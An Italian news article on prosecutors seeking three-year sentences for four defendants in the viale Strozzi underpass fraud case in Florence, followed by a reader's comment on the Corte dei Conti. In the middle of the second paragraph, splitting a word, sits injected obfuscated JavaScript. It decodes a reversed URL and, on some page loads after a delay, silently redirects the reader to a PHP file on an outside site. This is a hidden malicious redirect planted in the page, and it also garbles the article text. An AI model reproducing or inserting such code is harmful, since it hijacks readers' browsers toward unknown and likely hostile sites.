Sottopasso viale Strozzi. Chiesti tre anni per Di Nardo, Di Benedetto, Formigli e Pasquini

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Condanne da tre anni a tre anni e quattro mesi di reclusione. Le ha chieste la procura di Firenze durante l’udienza preliminare per il processo con rito abbreviato sulle presunte truffe ai danni del Comune per la costruzione del sottopasso di viale Strozzi, a Firenze. La parte civile è Palazzo Vecchio e il sindaco Matteo Renzi chiede come risarcimento del danno subito dall’amministrazione 15 milioni di euro.

Tre anni e quattro mesi sono stati chiesti per Gaetano Di Benedetto, che era responsabile unico del procedimento di tutte le opere del project per conto del Comune. Per gli altri imputati la richiesta è tre anni. Si tratta di Vincenzo Di Nardo, ex presidente del cda di Firenze Mobilità, società che sta realizz (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando il project; Giorgio Formigli e Mario Pasquini di Project Costruzioni, società formata da una serie di imprese (anche la Btp), che ha costruito le opere. Chieste anche condanne al pagamento di 400 e 600 mila euro rispettivamente a Firenze Mobilità e projet costruzioni.

Secondo l’accusa, i costi del sottopasso di viale Strozzi sarebbero lievitati di circa 3 milioni di euro rispetto al progetto iniziale da 5 milioni. Fra i reati ipotizzati, a vario titolo, abuso d’ufficio, falso in atto pubblico e truffa aggravata. L’udienza di stamani, rinviata al 19 novembre, riguarda un filone dell’inchiesta. L’altro – domani si apre l’udienza preliminare – verte su altre opere costruite con il solito project financig: i parcheggi di piazza Beccaria, della Fortezza e di piazza Alberti, oltre ad altre aree si sosta che erano fuori dal project. Il Comune si è costituito parte civile con l’avvocato Federico Bagattini. Gli imputati sono difesi dagli avvocati Sara Gennai, Alessandro Traversi e Nino D’Avirro.

Fonte Repubblica Firenze

0 Comments

  1. roberto

    Vorrei commentare questo articolo perchè oggi ho visto una intervista televisiva al presidente della Corte dei Conti, Luigi Giampaolino, che, solo apparentemente forse, mi è sembrato persona mite e un pò timida.
    Mi auguro che invece sia persona dotata di grande spirito bellicoso e fortemente determinata a scoprire i tanti abusi di questo nostro tempo.
    Non è la prima, e neanche spero sarà l’ultima, inchiesta che viene aperta dalla Procura che sente puzzo di bruciato quando “lievitano i costi”.
    E allora dai giornali apprendiamo che “La Procura indaga, fra i reati ipotizzati, a vario titolo, vi sono, abuso d’ufficio, falso in atto pubblico, truffa aggravata ecc ecc”.
    Fra coloro che chiedono di conoscere la verità spesso ci sono personaggi, che a loro volta sono stati “bersaglio” ed oggetto di curiosità da parte della suddetta Corte.
    Questo per la disinvoltura con la quale, servendosi di soldi pubblici, hanno fatto pubblicità a se stessi e a qualcun altro.
    Mi riferisco alla vicenda, nella quale la Corte ha avuto qualcosa da eccepire per i quattrini spesi in occasione della mostra in Palazzo Vecchio sugli Alinari, sponsorizzata dal giornale La Nazione, e patrocinata dall’allora candidato alle primarie, presidente della Provincia Renzi.
    Oggi il nostro Sindaco, giustamente, chiede di conoscere la verità e partecipa alle iniziative della Procura nei confronti di una certa “cricca”, (che siano benedette tutte le iniziative che sono state e verranno prese).
    Anche a noi piacerebbe conoscere tutta la verità.
    Vorrei sapere ad esempio se la Corte dei Conti, che nell’occasione mi risulta ha avuto qualcosa da eccepire, ha potuto trarre delle conclusioni diverse.
    In mancanza non ci resta che concordare con il Presidente Giampaolino che all’atto del Suo insediamento ha dichiarato:
    «Difficile ridurre la pressione fiscale» La situazione economica con la bassa crescita del Pil non consente di tagliare le tasse, ma solo controllare la spesa.
    Le tasse sono alte e la spesa pure, e sull’entità della spesa non c’è controllo!

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